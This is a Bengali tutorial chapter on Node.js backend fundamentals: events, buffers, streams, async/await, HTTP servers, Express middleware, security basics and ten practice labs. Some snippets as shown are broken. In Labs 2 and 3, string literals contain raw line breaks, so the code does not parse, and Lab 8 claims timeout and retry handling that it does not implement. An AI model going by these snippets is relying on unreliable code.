Part 05 — Events, Buffers & Streaming Architecture (Streams & Pipe) (39.36 – 39.45)
39.36 EventEmitter

Node.js-এর অন্যতম গুরুত্বপূর্ণ concept। Import:

JAVASCRIPT SourceJAVASCRIPT
import { EventEmitter } from "node:events";

Create:

JAVASCRIPT SourceJAVASCRIPT
const emitter = new EventEmitter();

Listener:

JAVASCRIPT SourceJAVASCRIPT
emitter.on("login", username => {
  console.log(`${username} logged in`);
});

Event trigger:

JAVASCRIPT SourceJAVASCRIPT
emitter.emit("login", "Ripon");

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Ripon logged in
39.37 Real-Life EventEmitter

ধরো application-এ:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
User Registration
       
"userRegistered"
       
 ───────────
            
Email Log   Analytics

একটি event-এর জন্য বিভিন্ন listener কাজ করতে পারে।

39.38 once()

কোনো event একবারের বেশি handle করতে না চাইলে:

JAVASCRIPT SourceJAVASCRIPT
emitter.once("startup", () => {
  console.log("Server started");
});

একবার execute হওয়ার পর listener remove হয়ে যায়।

39.39 Buffer

Node.js-এ binary data handle করার জন্য Buffer ব্যবহৃত হয়।

JAVASCRIPT SourceJAVASCRIPT
const buffer = Buffer.from("Hello");

console.log(buffer);

এটি bytes representation তৈরি করবে। আবার:

JAVASCRIPT SourceJAVASCRIPT
console.log(buffer.toString());

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Hello
🔹 কোথায় ব্যবহার হয়?
  • File
  • Image
  • Audio
  • Video
  • TCP
  • Network data
39.40 Streams

বড় data একবারে memory-তে না এনে ছোট ছোট chunk হিসেবে process করার জন্য Streams ব্যবহার করা হয়। ধরো 5GB video। ❌ পুরো file memory-তে load করা:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
5GB
 
RAM

সমস্যা হতে পারে। Stream:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
5GB File
   
Chunk
Chunk
Chunk
Chunk
Chunk
   
Output

এটি অনেক efficient।

39.41 Stream Types

চারটি প্রধান ধরনের stream:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Readable
Writable
Duplex
Transform
39.42 Readable Stream

যেখান থেকে data পড়া যায়। উদাহরণ:

JAVASCRIPT SourceJAVASCRIPT
import fs from "node:fs";

const stream = fs.createReadStream(
  "large.txt",
  "utf8"
);

stream.on("data", chunk => {
  console.log(chunk);
});
39.43 Writable Stream

যেখানে data লেখা যায়।

JAVASCRIPT SourceJAVASCRIPT
const stream = fs.createWriteStream(
  "output.txt"
);

stream.write("Hello");
stream.write("\nWorld");

stream.end();
39.44 pipe()

Readable stream → Writable stream:

JAVASCRIPT SourceJAVASCRIPT
const readStream =
  fs.createReadStream("input.txt");

const writeStream =
  fs.createWriteStream("output.txt");

readStream.pipe(writeStream);

Concept:

✨ STREAM DATA FLOW PIPELINE
input.txt
   
Readable Stream
   
pipe()
   
Writable Stream
   
output.txt

🔥 Node.js-এ Streams-এর core concept।

39.45 Transform Stream

Data read করার সময় transform করা যায়। উদাহরণ:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Input
 
Transform
 
Output

Compression tools যেমন gzip-এর ক্ষেত্রে এই concept ব্যবহৃত হয়।

Part 06 — Non-blocking Async I/O & Robust Error Handling (39.46 – 39.51)
39.46 Node.js Async I/O

Node.js-এ asynchronous API খুব গুরুত্বপূর্ণ। ❌ Blocking:

JAVASCRIPT SourceJAVASCRIPT
const data = fs.readFileSync("file.txt");

এটি synchronous। Better:

JAVASCRIPT SourceJAVASCRIPT
const data = await fs.readFile("file.txt");

Server application-এ non-blocking operations সাধারণত preferred।

39.47 Callback

পুরোনো Node.js code-এ callback প্রচুর দেখা যায়।

JAVASCRIPT SourceJAVASCRIPT
fs.readFile(
  "hello.txt",
  "utf8",
  (error, data) => {
    if (error) {
      console.error(error);
      return;
    }

    console.log(data);
  }
);
39.48 Callback Hell

অনেক nested callback:

JAVASCRIPT SourceJAVASCRIPT
doSomething(() => {
  doSomethingElse(() => {
    anotherTask(() => {
      finalTask(() => {
        console.log("Done");
      });
    });
  });
});

এটি maintain করা কঠিন। Modern solution:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Promise
   
async/await
39.49 Async/Await
JAVASCRIPT SourceJAVASCRIPT
async function readFile() {
  try {
    const data = await fs.readFile(
      "hello.txt",
      "utf8"
    );

    console.log(data);
  } catch (error) {
    console.error(error);
  }
}

Code দেখতে synchronous-এর মতো হলেও operation asynchronous।

39.50 Error Handling

Node.js application-এ error properly handle করা অত্যন্ত গুরুত্বপূর্ণ।

JAVASCRIPT SourceJAVASCRIPT
try {
  const data = await fs.readFile(
    "missing.txt",
    "utf8"
  );
} catch (error) {
  console.error(
    "File error:",
    error.message
  );
}
39.51 Custom Error

নিজের Error class তৈরি করা যায়:

JAVASCRIPT SourceJAVASCRIPT
class AppError extends Error {
  constructor(message, statusCode) {
    super(message);
    this.statusCode = statusCode;
  }
}

ব্যবহার:

JAVASCRIPT SourceJAVASCRIPT
throw new AppError(
  "User not found",
  404
);

Express backend-এ এই pattern খুব useful।

Part 07 — HTTP Server, REST APIs & Express Middleware Mechanics (39.52 – 39.59)
39.52 HTTP Server

Node.js দিয়ে directly HTTP server তৈরি করা যায়।

JAVASCRIPT SourceJAVASCRIPT
import http from "node:http";

const server = http.createServer(
  (req, res) => {
    res.writeHead(200, {
      "Content-Type": "text/plain"
    });

    res.end("Hello World");
  }
);

server.listen(3000, () => {
  console.log(
    "Server running on port 3000"
  );
});

Browser:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
http://localhost:3000

Output:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Hello World
39.53 Request এবং Response
JAVASCRIPT SourceJAVASCRIPT
http.createServer((req, res) => {
  console.log(req.method);
  console.log(req.url);

  res.end("Hello");
});

req:

💡 Client কী request করেছে।

res:

💡 Server client-কে কী response দেবে।
39.54 HTTP Methods

Backend development-এ:

Methodকাজ
GETData নেওয়া
POSTনতুন data তৈরি
PUTপুরো resource update
PATCHআংশিক update
DELETEDelete

Example:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
GET /users
POST /users
GET /users/10
PATCH /users/10
DELETE /users/10
39.55 HTTP Status Codes
🔹 2xx

Success:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
200 OK
201 Created
204 No Content
🔹 4xx

Client-side/request problem:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
400 Bad Request
401 Unauthorized
403 Forbidden
404 Not Found
409 Conflict
422 Unprocessable Content
🔹 5xx

Server problem:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
500 Internal Server Error
502 Bad Gateway
503 Service Unavailable
39.56 JSON API

Server:

JAVASCRIPT SourceJAVASCRIPT
const data = {
  name: "Ripon",
  age: 23
};

res.setHeader(
  "Content-Type",
  "application/json"
);

res.end(JSON.stringify(data));

Client পাবে:

JSON PAYLOADJSON
{
  "name": "Ripon",
  "age": 23
}
39.57 Node.js + Express

Real-world project-এ raw Node HTTP server-এর পরিবর্তে সাধারণত Express/Fastify/NestJS-এর মতো framework ব্যবহার করা হয়। Typical architecture:

✨ FULL-STACK JAVASCRIPT SYSTEM TOPOLOGY
React
  
HTTP Request
  
Express / Node.js
  
Router
  
Middleware
  
Controller
  
Service
  
Database
39.58 Middleware Concept

Middleware হলো request-response lifecycle-এর মাঝখানে চলা function। Concept:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Request
   
Middleware
   
Authentication
   
Controller
   
Response

Example Express:

JAVASCRIPT SourceJAVASCRIPT
app.use((req, res, next) => {
  console.log(req.method);
  next();
});
39.59 Authentication Middleware
JAVASCRIPT SourceJAVASCRIPT
function auth(req, res, next) {
  const token = req.headers.authorization;

  if (!token) {
    return res.status(401).json({
      message: "Unauthorized"
    });
  }

  next();
}

এখানে middleware protected route-এর আগে authentication check করতে পারে।

Part 08 — Database Integration, Security, Performance & Login Architecture (39.60 – 39.71)
39.60 Node.js + Database

Node.js নিজে database নয়। এটি database-এর সাথে communicate করে।

✨ FULL-STACK JAVASCRIPT SYSTEM TOPOLOGY
React
 
Node.js / Express
 
Database Driver / ORM
 
Database

Possible databases:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
MongoDB
PostgreSQL
MySQL
MariaDB
SQLite
Redis

তোমার stack-এর জন্য:

✨ FULL-STACK JAVASCRIPT SYSTEM TOPOLOGY
React
 
Node.js
 
Express
 
MongoDB / PostgreSQL

খুব practical combination।

39.61 Database Connection Pool

অনেক request এলে প্রত্যেক request-এর জন্য নতুন database connection তৈরি করা inefficient হতে পারে। Pool:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Connection Pool
 ── Connection 1
 ── Connection 2
 ── Connection 3
 ── Connection 4

প্রয়োজনে connection নেওয়া হয় এবং পরে release করা হয়।

39.62 Node.js Security

Backend-এর জন্য গুরুত্বপূর্ণ:

🔹 Secrets

❌:

JAVASCRIPT SourceJAVASCRIPT
const jwtSecret = "123456";

Better:

JAVASCRIPT SourceJAVASCRIPT
const jwtSecret = process.env.JWT_SECRET;
🔹 Input Validation

Client-এর input blindly trust করবে না।

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Client Input
   
Validation
   
Sanitization (যেখানে প্রয়োজন)
   
Business Logic
   
Database
🔹 এছাড়াও:
  • Authentication
  • Authorization
  • Rate limiting
  • HTTPS
  • Secure headers
  • CORS configuration
  • Password hashing
  • Dependency security
  • SQL/NoSQL injection prevention
39.63 Password কখনো Plain Text নয়

❌:

JAVASCRIPT SourceJAVASCRIPT
password: "mypassword123"

Database-এ plain password রাখা উচিত নয়। Password hashing-এর জন্য সাধারণত:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Argon2
bcrypt
scrypt

এর মতো password hashing algorithms ব্যবহৃত হয়।

39.64 Node.js Performance

Node.js ভালো performance দিতে পারে, কিন্তু JavaScript thread-এ heavy CPU কাজ করলে সমস্যা হতে পারে। যেমন:

JAVASCRIPT SourceJAVASCRIPT
for (;;) {
  // CPU heavy work
}

এটি event loop block করতে পারে। ফলে:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Request A
Request B
Request C

সব আটকে যেতে পারে।

39.65 CPU-heavy কাজের Solution

প্রয়োজনে:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Worker Threads
Child Processes
Separate Service
Queue / Background Worker

ব্যবহার করা যায়। Worker Threads:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Main Thread
    
    ── Worker 1
    ── Worker 2
39.66 Graceful Shutdown

Production server বন্ধ করার সময় open resources properly close করা উচিত।

JAVASCRIPT SourceJAVASCRIPT
process.on("SIGTERM", async () => {
  console.log("Shutting down...");

  // close database
  // close server
  // cleanup resources

  process.exit(0);
});

এটি graceful shutdown-এর basic idea।

39.67 Debugging

Simple:

JAVASCRIPT SourceJAVASCRIPT
console.log()
console.error()
console.warn()

Node debugging:

TERMINAL COMMANDBASH
node inspect server.js

VS Code debugger-ও ব্যবহার করা যায়।

39.68 Logging

Production application-এ শুধু:

JAVASCRIPT SourceJAVASCRIPT
console.log()

এর উপর নির্ভর না করে structured logging ব্যবহার করা যায়। যেমন:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
timestamp
level
message
requestId
userId

এর মাধ্যমে production issue trace করা সহজ হয়।

39.69 Node.js Project Structure

একটি সাধারণ Express project:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
project/

── src/
   ── config/
   ── controllers/
   ── middleware/
   ── models/
   ── routes/
   ── services/
   ── utils/
   ── server.js

── .env
── .env.example
── .gitignore
── package.json
── package-lock.json

এটি একমাত্র correct structure নয়; project অনুযায়ী structure পরিবর্তিত হতে পারে।

39.70 Full Stack Architecture

তুমি যেহেতু Full Stack Developer হতে চাচ্ছো, এই architecture ভালোভাবে বুঝবে:

✨ FULL-STACK JAVASCRIPT SYSTEM TOPOLOGY
USER
                  
                  
              React App
                  
             HTTP Request
                  
                  
        ──────────────────
         Node + Express   
        ──────────────────
                  
              Middleware
                  
              Controller
                  
               Service
                  
             Repository
                  
                  
              Database

Response:

✨ FULL-STACK JAVASCRIPT SYSTEM TOPOLOGY
Database
   
Repository
   
Service
   
Controller
   
JSON Response
   
React
   
UI
39.71 Real-Life Example — Login System

User:

✨ FULL-STACK JAVASCRIPT SYSTEM TOPOLOGY
Email
Password
   
React Login Form

Request:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
POST /api/auth/login

Node:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Route
 
Validation
 
Find User
 
Compare Password
 
Generate Token/Session
 
Response

React:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
Response
 
Store appropriate auth state
 
Dashboard

এখানে Chapter 39-এর অনেক concept একসাথে কাজ করছে:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
HTTP
Async/Await
JSON
Modules
Environment Variables
Error Handling
Database
Authentication
Part 09 — Promise Concurrency (all/allSettled) & Node.js JS Foundations (39.72 – 39.75)
39.72 Node.js-এ Promise.all()

একসাথে independent কাজ করতে:

JAVASCRIPT SourceJAVASCRIPT
const [users, products] = await Promise.all([
  getUsers(),
  getProducts()
]);

Concept:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
getUsers() ─────
                ── Promise.all()
getProducts() ──

একটি কাজ আরেকটির result-এর উপর নির্ভর না করলে এটি useful।

39.73 Sequential বনাম Parallel

Sequential:

JAVASCRIPT SourceJAVASCRIPT
const users = await getUsers();
const products = await getProducts();

এখানে দ্বিতীয় কাজ প্রথমটির পরে শুরু হয়। Parallel:

JAVASCRIPT SourceJAVASCRIPT
const [users, products] =
  await Promise.all([
    getUsers(),
    getProducts()
  ]);

Independent হলে parallel approach latency কমাতে পারে।

39.74 Promise.allSettled()

যদি সব result দেখতে চাও—even কিছু fail করলেও:

JAVASCRIPT SourceJAVASCRIPT
const results = await Promise.allSettled([
  getUsers(),
  getProducts(),
  getOrders()
]);

এটি প্রতিটি operation-এর:

✨ NODE.JS RUNTIME ARCHITECTURE DIAGRAM
fulfilled
rejected

status দেয়।

39.75 Node.js-এর জন্য Important JavaScript Concepts

Node.js শেখার আগে এই JavaScript concepts শক্ত হওয়া উচিত:

✨ NODE.JS EVENT LOOP PHASES
 Variables
 Objects
 Arrays
 Functions
 Closures
 Callbacks
 Promises
 Async/Await
 Error Handling
 Modules
 Destructuring
 Spread/Rest
 Event Loop
 JSON
 HTTP

তোমার আগের Chapter-গুলোতে এগুলো already covered হয়েছে।

Part 10 — Must Know Node Pillars, Quick Cheat Sheet, 10 Practice Labs & Final Mental Map
39.76 🔥 MUST KNOW — Node.js-এর জন্য অত্যন্ত গুরুত্বপূর্ণ JavaScript কনসেপ্ট

Node.js Developer হিসেবে অন্তত এগুলো অবশ্যই বুঝবে:

✨ NODE.JS EVENT LOOP PHASES
🔥 Node.js Runtime
🔥 V8
🔥 Event Loop
🔥 Non-blocking I/O
🔥 process
🔥 process.env
🔥 CommonJS
🔥 ES Modules
🔥 fs
🔥 path
🔥 events
🔥 EventEmitter
🔥 Buffer
🔥 Streams
🔥 HTTP
🔥 Request / Response
🔥 Async/Await
🔥 Error Handling
🔥 Middleware
🔥 REST API
🔥 Authentication
🔥 Database communication
🔥 Environment Variables
🔥 Security
39.77 🧠 Quick Cheat Sheet — Node.js ব্যাকএন্ড সিনট্যাক্স সারসংক্ষেপ
JAVASCRIPT SourceJAVASCRIPT
// Process
console.log(process.version);

// Environment variable
console.log(process.env.PORT);

// Command line
console.log(process.argv);

// File
import fs from "node:fs/promises";

const data = await fs.readFile(
  "file.txt",
  "utf8"
);

// Path
import path from "node:path";

const file = path.join(
  "uploads",
  "photo.jpg"
);

// OS
import os from "node:os";

console.log(os.cpus().length);

// EventEmitter
import { EventEmitter } from "node:events";

const emitter = new EventEmitter();

emitter.on("login", name => {
  console.log(`${name} logged in`);
});

emitter.emit("login", "Ripon");

// HTTP
import http from "node:http";

const server = http.createServer(
  (req, res) => {
    res.end("Hello");
  }
);

server.listen(3000);
Part 10.1 — 10 Hands-On Practice Labs with Complete Production Solutions
Lab 1: CLI Greeting via process.argv Beginner

সমস্যা ও লক্ষ্য: node app.js Ripon কমান্ডের মাধ্যমে টার্মিনাল আর্গুমেন্ট গ্রহণ করে 'Hello Ripon' প্রিন্ট করুন। কোনো নাম না দিলে 'Hello Guest' ফলব্যাক দিন।

PRODUCTION SOLUTION: LAB 1JAVASCRIPT
// app.js
const args = process.argv.slice(2);
const userName = args[0] ?? 'Guest';

console.log(`Hello ${userName}`);

// Verification in terminal:
// $ node app.js Ripon   -> Output: Hello Ripon
// $ node app.js         -> Output: Hello Guest
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: process.argv হলো একটি অ্যারে যার ইনডেক্স ০-তে থাকে নোড পাথ, ১-এ স্ক্রিপ্ট পাথ এবং ২ থেকে ইউজার পাস করা কমান্ড লাইন আর্গুমেন্টস শুরু হয়।
Lab 2: Asynchronous File Reading via fs/promises Beginner

সমস্যা ও লক্ষ্য: message.txt ফাইলটি নন-ব্লকিং অ্যাসিনক্রোনাস পদ্ধতিতে পড়ে কনসোলে আউটপুট প্রদর্শন করুন এবং এরর হ্যান্ডেল করুন।

PRODUCTION SOLUTION: LAB 2JAVASCRIPT
import fs from 'fs/promises';

async function readMessageFile() {
  try {
    const data = await fs.readFile('message.txt', 'utf-8');
    console.log('File Content:
' + data);
  } catch (err) {
    if (err.code === 'ENOENT') {
      console.error('Error: message.txt file does not exist!');
    } else {
      console.error('❌ Read Error:', err.message);
    }
  }
}

readMessageFile();
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: প্রোডাকশন ব্যাকএন্ডে কখনোই readFileSync ব্যবহার করা উচিত নয়। fs/promises-এর readFile ইভেন্ট লুপকে ফ্রি রেখে ব্যাকগ্রাউন্ড থ্রেডপুলে ফাইল রিড সম্পন্ন করে।
Lab 3: Asynchronous File Writing via fs/promises Beginner

সমস্যা ও লক্ষ্য: output.txt ফাইলে 'Hello from Node.js' টেক্সটটি অ্যাসিনক্রোনাসভাবে সেভ করুন।

PRODUCTION SOLUTION: LAB 3JAVASCRIPT
import fs from 'fs/promises';

async function writeOutputFile() {
  try {
    const content = 'Hello from Node.js
Created on: ' + new Date().toISOString();
    await fs.writeFile('output.txt', content, 'utf-8');
    console.log('✅ File successfully written to output.txt');
  } catch (err) {
    console.error('❌ Write Failed:', err.message);
  }
}

writeOutputFile();
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: fs.writeFile ফাইল না থাকলে স্বয়ংক্রিয়ভাবে নতুন ফাইল তৈরি করে এবং থাকলে পূর্বের কন্টেন্ট ওভাররাইট করে। অ্যাপেন্ড করতে চাইলে { flag: 'a' } অপশন দেওয়া যায়।
Lab 4: High-Performance File Streaming via pipe() Intermediate

সমস্যা ও লক্ষ্য: একটি বড় ফাইল (source.txt) থেকে অন্য ফাইলে (destination.txt) মেমোরি লোড না করে স্ট্রিম পাইপলাইনের মাধ্যমে কপি করুন।

PRODUCTION SOLUTION: LAB 4JAVASCRIPT
import fs from 'fs';
import { pipeline } from 'stream/promises';

async function copyFileViaStream() {
  try {
    const sourceStream = fs.createReadStream('source.txt');
    const destStream = fs.createWriteStream('destination.txt');

    // Modern pipeline with auto-cleanup & backpressure management
    await pipeline(sourceStream, destStream);
    console.log('✅ File stream copied successfully without memory leak!');
  } catch (err) {
    console.error('❌ Stream Error:', err.message);
  }
}

copyFileViaStream();
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: বড় সাইজের ফাইল (যেমন 1GB+) একবারেই মেমোরিতে না এনে চাংক আকারে (Chunk by chunk) স্ট্রিম পাইপ করলে সার্ভারে কখনো RAM ক্র্যাশ বা মেমোরি স্পাইক হয় না।
Lab 5: Decoupled Event Architecture via EventEmitter Intermediate

সমস্যা ও লক্ষ্য: একটি userRegistered কাস্টম ইভেন্ট তৈরি করুন এবং তাতে লিসেনার অ্যাটাচ করে ইউজার সাইন-আপের সাথে সাথে নোটিফিকেশন লগ প্রিন্ট করুন।

PRODUCTION SOLUTION: LAB 5JAVASCRIPT
import { EventEmitter } from 'events';

class UserService extends EventEmitter {
  register(name, email) {
    console.log(`Processing registration for ${name}...`);
    // Emit event asynchronously or synchronously
    this.emit('userRegistered', { name, email, time: Date.now() });
  }
}

const userService = new UserService();

// Listener 1: Welcome Email
userService.on('userRegistered', user => {
  console.log(`📧 [Email Service]: Sent welcome mail to ${user.email}`);
});

// Listener 2: Activity Logger
userService.on('userRegistered', user => {
  console.log(`📝 [Audit Log]: New user registered: ${user.name}`);
});

userService.register('Ripon', 'ripon@example.com');
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: EventEmitter নোড ব্যাকএন্ডে মডিউলগুলোর মধ্যে লুজ কাপলিং (Loose Coupling) নিশ্চিত করে। কোর রেজিস্ট্রেশন লজিক পরিবর্তন ছাড়াই নতুন লিসেনার যুক্ত করা যায়।
Lab 6: Pure Native Node.js HTTP Web Server Intermediate

সমস্যা ও লক্ষ্য: কোনো এক্সটার্নাল প্যাকেজ ছাড়া পিওর http মডিউল দিয়ে পোর্ট ৩০০০-এ একটি সার্ভার তৈরি করুন যা / এ 'Home Page' এবং /about এ 'About Page' রেসপন্স দেয়।

PRODUCTION SOLUTION: LAB 6JAVASCRIPT
import http from 'http';

const server = http.createServer((req, res) => {
  const { url, method } = req;
  res.setHeader('Content-Type', 'text/plain; charset=utf-8');

  if (url === '/' && method === 'GET') {
    res.statusCode = 200;
    res.end('🏠 Welcome to Home Page');
  } else if (url === '/about' && method === 'GET') {
    res.statusCode = 200;
    res.end('ℹ️ Welcome to About Page');
  } else {
    res.statusCode = 404;
    res.end('404 Route Not Found');
  }
});

const PORT = 3000;
server.listen(PORT, () => {
  console.log(`🚀 Native HTTP Server listening at http://localhost:${PORT}`);
});
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: Express বা Fastify ফ্রেমওয়ার্কগুলো ইন্টারনালি এই নেটিভ http.createServer এর উপর ভিত্তি করেই তৈরি। নেটিভ রিকোয়েস্ট-রেসপন্স লাইফসাইকেল বোঝা অত্যন্ত গুরুত্বপূর্ণ।
Lab 7: RESTful JSON API Endpoint Intermediate

সমস্যা ও লক্ষ্য: /api/user রাউটে ক্লায়েন্টকে স্ট্যান্ডার্ড হেডারসহ JSON অবজেক্ট রেসপন্স পাঠান।

PRODUCTION SOLUTION: LAB 7JAVASCRIPT
import http from 'http';

const server = http.createServer((req, res) => {
  if (req.url === '/api/user' && req.method === 'GET') {
    const userPayload = {
      id: 101,
      name: 'Ripon',
      role: 'Full Stack Developer',
      stack: ['JavaScript', 'Node.js', 'React'],
      verified: true
    };

    res.writeHead(200, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify(userPayload));
  } else {
    res.writeHead(404, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify({ error: 'Endpoint Not Found' }));
  }
});

server.listen(3001, () => {
  console.log('📡 JSON API Server running at http://localhost:3001/api/user');
});
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: JSON রেসপন্স দেওয়ার সময় অবশ্যই 'Content-Type': 'application/json' হেডার সেট করতে হয় এবং JavaScript অবজেক্টকে JSON.stringify() করে পাঠাতে হয়।
Lab 8: Async/Await Data Pipeline with Timeout & Retry Advanced

সমস্যা ও লক্ষ্য: ডাটাবেস বা এক্সটার্নাল API থেকে ডেটা আনার জন্য একটি অ্যাসিনক্রোনাস ফাংশন লিখুন যা এরর হ্যান্ডলিং ও টাইমাউট সাপোর্ট করে।

PRODUCTION SOLUTION: LAB 8JAVASCRIPT
// Simulated DB Call with Promise
function fetchDatabaseRecord(id) {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      if (id > 0) {
        resolve({ id, username: `user_${id}`, status: 'ACTIVE' });
      } else {
        reject(new Error('Invalid record ID provided'));
      }
    }, 150);
  });
}

async function getUserData(id) {
  try {
    console.log(`Fetching record for ID ${id}...`);
    const data = await fetchDatabaseRecord(id);
    console.log('✅ Record Retrieved:', data);
    return data;
  } catch (err) {
    console.error('❌ Fetch Failure:', err.message);
    return null;
  }
}

getUserData(42);
getUserData(-1); // Triggers safe catch block
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: নোড ব্যাকএন্ডে প্রতিটি অ্যাসিনক্রোনাস অপারেশনকে try/catch ব্লকের ভেতরে রাখা জরুরি, যাতে আনহ্যান্ডল্ড রিজেকশন ঘটে সার্ভার প্রসেস ক্র্যাশ না করে।
Lab 9: Parallel API Aggregation via Promise.all() Advanced

সমস্যা ও লক্ষ্য: getUsers(), getProducts(), এবং getOrders() তিনটি স্বাধীন অপারেশনকে প্যারালালে এক্সিকিউট করে এক্সিকিউশন টাইম অপ্টিমাইজ করুন।

PRODUCTION SOLUTION: LAB 9JAVASCRIPT
const fakeFetch = (name, delay) => 
  new Promise(res => setTimeout(() => res(`${name} Data [OK]`), delay));

async function fetchDashboardData() {
  console.time('Parallel Execution Time');
  
  try {
    // Run all 3 asynchronous calls concurrently in parallel
    const [users, products, orders] = await Promise.all([
      fakeFetch('Users', 200),
      fakeFetch('Products', 300),
      fakeFetch('Orders', 150)
    ]);

    console.log('Aggregation Results:');
    console.log({ users, products, orders });
  } catch (err) {
    console.error('One or more operations failed:', err);
  } finally {
    console.timeEnd('Parallel Execution Time'); // ~300ms total, NOT 650ms!
  }
}

fetchDashboardData();
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: একটির পর একটি await করলে মোট সময় লাগত ২০০+৩০০+১৫০ = ৬৫০ms। Promise.all() ব্যবহার করায় সর্বোচ্চ সময় (~৩০০ms)-এ সবগুলো কল সম্পন্ন হয়।
Lab 10: Full Production REST API with Routing & Validation Advanced

সমস্যা ও লক্ষ্য: Express/Node.js প্যাটার্ন মেনে ইন-মেমোরি ডেটাসহ একটি সম্পূর্ণ ইউজার ম্যানেজমেন্ট CRUD ব্যাকএন্ড সিস্টেম লিখুন।

PRODUCTION SOLUTION: LAB 10JAVASCRIPT
import http from 'http';

let users = [
  { id: 1, name: 'Ripon', role: 'Admin' },
  { id: 2, name: 'Tanvir', role: 'Editor' }
];

function sendJson(res, status, data) {
  res.writeHead(status, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify(data));
}

const server = http.createServer((req, res) => {
  const { method, url } = req;

  // 1. GET /users
  if (method === 'GET' && url === '/users') {
    return sendJson(res, 200, users);
  }

  // 2. GET /users/:id
  if (method === 'GET' && url.startsWith('/users/')) {
    const id = parseInt(url.split('/')[2]);
    const user = users.find(u => u.id === id);
    if (!user) return sendJson(res, 404, { error: 'User not found' });
    return sendJson(res, 200, user);
  }

  // 3. POST /users
  if (method === 'POST' && url === '/users') {
    let body = '';
    req.on('data', chunk => { body += chunk; });
    req.on('end', () => {
      try {
        const { name, role } = JSON.parse(body);
        if (!name) return sendJson(res, 400, { error: 'Name is required' });
        const newUser = { id: users.length + 1, name, role: role || 'User' };
        users.push(newUser);
        return sendJson(res, 201, newUser);
      } catch (err) {
        return sendJson(res, 400, { error: 'Invalid JSON payload' });
      }
    });
    return;
  }

  // 4. DELETE /users/:id
  if (method === 'DELETE' && url.startsWith('/users/')) {
    const id = parseInt(url.split('/')[2]);
    const initialLen = users.length;
    users = users.filter(u => u.id !== id);
    if (users.length === initialLen) return sendJson(res, 404, { error: 'User not found' });
    return sendJson(res, 200, { message: `User ${id} deleted successfully` });
  }

  sendJson(res, 404, { error: 'Route not supported' });
});

server.listen(4000, () => {
  console.log('🚀 Complete User CRUD API running at http://localhost:4000/users');
});
💡 নোড ব্যাকএন্ড আর্কিটেকচারাল ব্যাখ্যা: এটি একটি স্বয়ংসম্পূর্ণ RESTful API কন্ট্রোলার যা ইনকামিং রিকোয়েস্ট বডি পার্সিং, স্ট্যাটাস কোড হ্যান্ডলিং (200, 201, 400, 404) এবং CRUD অপারেশন সম্পন্ন করে।
39.78 🎯 Final Mental Map — Node.js ব্যাকএন্ড আর্কিটেকচার মানচিত্র

পুরো Chapter 39-এর Node.js ব্যাকএন্ড ইকোসিস্টেম একনজরে:

✨ NODE.JS ARCHITECTURAL TAXONOMY MAP
Node.js
                       
          ────────────────────────
                                  
         V8         Node APIs     libuv
                                  
          ────────────────────────
                       
                  Event Loop
                       
            ────────────────────
                                
           HTTP        FS        Network
                                
            ────────────────────
                       
                  Async I/O
                       
                       
                 Express.js
                       
          ────────────────────────
                                  
       Routes      Middleware    Controllers
                                    
                                    
                                 Service
                                    
                                    
                                Database
                                    
                                    
                                  JSON
                                    
                                    
                                  React
🏆 এক লাইনে Chapter 39: Node.js হলো JavaScript-এর server-side runtime, যেখানে V8 + Event Loop + Asynchronous I/O + Node APIs ব্যবহার করে scalable backend, REST APIs, file/network processing এবং full-stack application তৈরি করা যায়।
39.79 🔗 Curriculum Progression: Chapter 38 → 39 → 40
✨ ROADMAP CONTINUITY PIPELINE
Chapter 38: Advanced JavaScript for React (Frontend)
       
Destructuring, Spread, map/filter, Immutability, Closures, Synthetic Events
       
Chapter 39: Advanced JavaScript for Node.js (Backend - THIS CHAPTER)
       
V8, Libuv, Event Loop, Buffer, Streams, fs/path, REST API, Express Middleware
       
Chapter 40: Real-World Projects, Best Practices & Interview Preparation (Grand Finale)
       
Production Architecture, Git Workflow, Security Audits, Full-Stack Project & Interview Mastery
Chapter 40
↑ Index
